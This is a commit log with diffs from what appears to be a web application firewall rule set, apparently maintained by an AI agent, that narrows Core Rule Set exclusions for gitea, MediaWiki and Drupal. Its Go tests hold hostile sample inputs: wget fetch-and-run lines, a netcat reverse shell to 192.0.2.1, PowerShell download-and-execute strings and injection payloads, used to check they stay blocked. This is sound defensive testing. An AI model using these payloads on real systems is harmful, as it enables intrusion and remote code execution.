4 Commits
Author SHA1 Message Date
clawbot 3d9e3976b0 Core Rule Set: gitea's search Referer exclusion skips /api/v2/search (closes #270)
check / check (push) Successful in 4m32s
Rule 900601 let Referer skip five rules when it named a repository's
search, issues or pull requests with the owner api, such as
/api/v2/search, Mastodon's search. A page opened from there skipped
script and SQL injection checks on Referer. gitea has no owner named
api, so a chained condition now leaves out those paths, as rule 900600
does.

Model: opus-5-5
2026-11-10 04:26:08 +01:00
clawbot 56d6a12cc2 Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)
check / check (push) Successful in 7m49s
Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.

Model: opus-5-5
2026-11-10 03:26:14 +01:00
clawbot 922fe0cf71 Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 16m32s
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
2026-11-10 03:09:24 +01:00
clawbot d70fb34f40 Core Rule Set: Drupal's JSON password reset takes an address (closes #262)
check / check (push) Failing after 5m8s
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.

Model: opus-5-5
2026-11-10 03:09:17 +01:00
9 changed files with 282 additions and 53 deletions

No files matched your search

+18 -2
View File
@@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them:
- `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when resetting a password through Drupal's JSON format on - `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules. `/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only.
- `name` when signing up, editing an account and commenting without an - `name` when signing up, editing an account and commenting without an
account, for the same four rules. account, for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only. - `mail` on those forms, for 930120, 932120 and 932260 only.
@@ -1010,9 +1011,15 @@ requests. The changes hold in front of every app, and no setting undoes them:
- `from` and `to`, the titles of a page being moved; - `from` and `to`, the titles of a page being moved;
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
`aiprefix`, `aufrom` and `auprefix`; `aiprefix`, `aufrom` and `auprefix`;
- `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`, which a generator - `letitle`, the page whose log is listed;
sends in place of `srsearch`, `pssearch`, `apfrom` and `bltitle`;
- `euquery`, an address; - `euquery`, an address;
- the fields a generator sends in place of the fields above, each with a
`g` in front:
- `gsrsearch` and `gpssearch`;
- `gapfrom`, `gapto` and `gapprefix`;
- `gaifrom` and `gaiprefix`;
- `gbltitle`;
- `geuquery`;
- the user names `ucuser`, `bkusers` and `user`; - the user names `ucuser`, `bkusers` and `user`;
- `summary`, `sectiontitle`, `filename`, `comment` and `reason`; - `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
- `lgname`, `lgpassword`, `username` and `password`, for signing in. - `lgname`, `lgpassword`, `username` and `password`, for signing in.
@@ -1033,6 +1040,15 @@ requests. The changes hold in front of every app, and no setting undoes them:
- `wpReason-other`, for blocking a user; - `wpReason-other`, for blocking a user;
- `user-reason`, for changing a user's groups; - `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page. - `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It always skips
930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
starting with a command name, such as `Python3 notes`, passes. So does a
command alone on a line, such as `wget http://example.com/x.sh`. A command
such as `; wget http://example.com/x.sh` is still refused. So is a list
that mixes a title holding one of these characters with a title starting
with a command name.
- The wikitext of a page, which holds templates, tables and any code it - The wikitext of a page, which holds templates, tables and any code it
shows: shows:
- `wpTextbox1` on MediaWiki's pages; - `wpTextbox1` on MediaWiki's pages;
+27
View File
@@ -674,6 +674,33 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
} }
} }
} }
// gitea has no owner named api, so these are not a repository's search,
// issues or pull requests. /api/v2/search is Mastodon's search.
for _, path := range []string{
"/api/v2/search",
"/api/v2/issues",
"/api/v2/pulls",
} {
for _, attack := range []string{
sqlInjection,
scriptInjection,
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
} {
target := path + "?q=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// Nor is a page opened from them.
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: https://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
} }
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
+9
View File
@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name" ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# The same reset may name the account by its address in the JSON field mail:
# POST /user/password?_format=json with a mail of python3@example.com. An
# address skips only the two rules the recorded addresses set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900818,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
+46 -3
View File
@@ -182,13 +182,33 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
scriptTag, scriptTag,
`; wget http://example.com/x.sh`, `; wget http://example.com/x.sh`,
`../../sites/default/settings.php`, `../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// An address keeps 932250, which refuses ls -la, and 930120, which
// refuses system file names.
for _, kept := range []struct {
value string
rule int
}{
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} { } {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"name":"` + attack + `"}` body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold { if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf("POST %s %s let through: %+v", r.target, body, got) t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
} }
} }
} }
@@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got) t.Errorf("POST %s %s refused: %+v", r.target, body, got)
} }
} }
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
} }
func TestDrupalExclusionsAreNarrow(t *testing.T) { func TestDrupalExclusionsAreNarrow(t *testing.T) {
@@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Errorf("POST %s let through: %+v", r.target, got) t.Errorf("POST %s let through: %+v", r.target, got)
} }
} }
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
} }
+44 -36
View File
@@ -35,41 +35,46 @@
# 944100: java.lang.Runtime # 944100: java.lang.Runtime
# 944110: java.lang.Runtime # 944110: java.lang.Runtime
# 944130: java.lang.Runtime # 944130: java.lang.Runtime
# gitea has no owner named api. A repository's search, issues, pull requests and
# commit search with that owner get none of this. /api/v2/search, for example,
# is Mastodon's search.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\ [^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\ commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,\ "id:900600,phase:1,pass,nolog,chain"
ctl:ruleRemoveTargetById=930110;ARGS:q,\ SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
ctl:ruleRemoveTargetById=930120;ARGS:q,\ pulls|commits/(?:branch|tag|commit)/.+/search)$" \
ctl:ruleRemoveTargetById=931100;ARGS:q,\ "ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\ ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\ ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\ ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\ ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\ ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\ ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\ ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\ ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\ ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\ ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\ ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\ ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\ ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\ ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\ ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\ ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\ ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\ ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\ ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\ ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q" ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's # A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then: # address in Referer, which skips these rules then:
@@ -78,17 +83,20 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
# 941160: <img src= # 941160: <img src=
# 942100: LIKE '%foo%' # 942100: LIKE '%foo%'
# 944100: java.lang.Runtime # 944100: java.lang.Runtime
# A repository with the owner api is left out here too.
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
issues(?:/search)?|pulls|[^/]+/-/code|\ issues(?:/search)?|pulls|[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\ commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
"id:900601,phase:1,pass,nolog,\ "id:900601,phase:1,pass,nolog,chain"
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\ SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\ issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\ "ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\ ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer" ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# gitea's searches of repositories, users, branches, tags and packages send a # gitea's searches of repositories, users, branches, tags and packages send a
# name in q, which skips these rules there: # name in q, which skips these rules there:
+42 -7
View File
@@ -15,7 +15,7 @@
# Pages under /wiki/ need neither. # Pages under /wiki/ need neither.
# #
# Four rules read a search, a title or a name as a command or a system file. # Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four, and only these: # Each exclusion below for such a field removes these four:
# 930120: .htaccess # 930120: .htaccess
# 932120: powershell # 932120: powershell
# 932250: ls -la # 932250: ls -la
@@ -55,9 +55,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3 # aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3 # aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes # bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
# gsrsearch, gpssearch, gapfrom, gbltitle: the same fields from a generator, # gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
# /api.php?action=query&generator=prefixsearch&gpssearch=python3 # gbltitle, geuquery: the same fields from a generator,
# /api.php?action=query&generator=allpages&gapprefix=python3
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3 # euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3 # ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3 # bkusers: /api.php?action=query&list=blocks&bkusers=Python3
# user: blocking, unblocking or changing the groups of a user, user=Python3 # user: blocking, unblocking or changing the groups of a user, user=Python3
@@ -71,10 +73,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# allow. # allow.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900901,phase:1,pass,nolog,\ "id:900901,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932180;FILES" ctl:ruleRemoveTargetById=932180;FILES"
# The search box's suggestions and the search through the REST API: # The search box's suggestions and the search through the REST API:
@@ -175,3 +177,36 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \ SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\ "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/" ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. Watchlists holding "Lighthouse notes" and then one of these titles
# were refused:
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
# refused. A watchlist that mixes a title holding one of these with a title
# starting with a command name is refused too.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
+56 -5
View File
@@ -49,8 +49,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
} }
// mediawikiQueryFields and mediawikiBodyFields together hold every field that // mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a // the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// path where it skips them, ending in "=". // path where it skips them, ending in "=".
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
@@ -85,6 +85,10 @@ var mediawikiQueryFields = []string{
"/api.php?action=query&list=allpages&apto=", "/api.php?action=query&list=allpages&apto=",
"/api.php?action=query&list=allpages&apprefix=", "/api.php?action=query&list=allpages&apprefix=",
"/api.php?action=query&generator=allpages&gapfrom=", "/api.php?action=query&generator=allpages&gapfrom=",
"/api.php?action=query&generator=allpages&gapto=",
"/api.php?action=query&generator=allpages&gapprefix=",
"/api.php?action=query&generator=allimages&gaifrom=",
"/api.php?action=query&generator=allimages&gaiprefix=",
"/api.php?action=query&list=allimages&aifrom=", "/api.php?action=query&list=allimages&aifrom=",
"/api.php?action=query&list=allimages&aiprefix=", "/api.php?action=query&list=allimages&aiprefix=",
"/api.php?action=query&list=allusers&aufrom=", "/api.php?action=query&list=allusers&aufrom=",
@@ -92,6 +96,8 @@ var mediawikiQueryFields = []string{
"/api.php?action=query&list=backlinks&bltitle=", "/api.php?action=query&list=backlinks&bltitle=",
"/api.php?action=query&generator=backlinks&gbltitle=", "/api.php?action=query&generator=backlinks&gbltitle=",
"/api.php?action=query&list=exturlusage&euquery=", "/api.php?action=query&list=exturlusage&euquery=",
"/api.php?action=query&generator=exturlusage&geuquery=",
"/api.php?action=query&list=logevents&letitle=",
"/api.php?action=query&list=usercontribs&ucuser=", "/api.php?action=query&list=usercontribs&ucuser=",
"/api.php?action=query&list=blocks&bkusers=", "/api.php?action=query&list=blocks&bkusers=",
"/w/api.php?action=opensearch&search=", "/w/api.php?action=opensearch&search=",
@@ -130,8 +136,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
type mediawikiBodyField struct{ target, field string } type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that // mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on // the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// a path where it skips them. // a path where it skips them.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
@@ -174,6 +180,14 @@ var mediawikiReasonFields = []mediawikiBodyField{
{mediawikiProtect, "mwProtect-reason="}, {mediawikiProtect, "mwProtect-reason="},
} }
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
// list of titles in, one per line.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mediawikiWatchlist = mediawikiBodyField{
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
}
// mediawikiWikitextFields are the form data fields that hold wikitext. // mediawikiWikitextFields are the form data fields that hold wikitext.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
@@ -190,7 +204,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
crs := readingBodies(t) crs := readingBodies(t)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields, fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiReasonFields) mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
for _, attack := range mediawikiAttacks { for _, attack := range mediawikiAttacks {
for _, sent := range fields { for _, sent := range fields {
@@ -255,6 +269,34 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got) t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
} }
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
"%3B%20sh%20-i",
"%26%26%20sh%20-i",
"%7C%7C%20sh%20-i",
"%60sh%20-i%60",
"%3B%20ls%20-la%20%2F",
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
} {
body := mediawikiWatchlist.field + attack
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
} }
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
@@ -291,6 +333,14 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", sent.target, body, got) t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
} }
} }
// A watchlist holds the title on its second line, as recorded.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
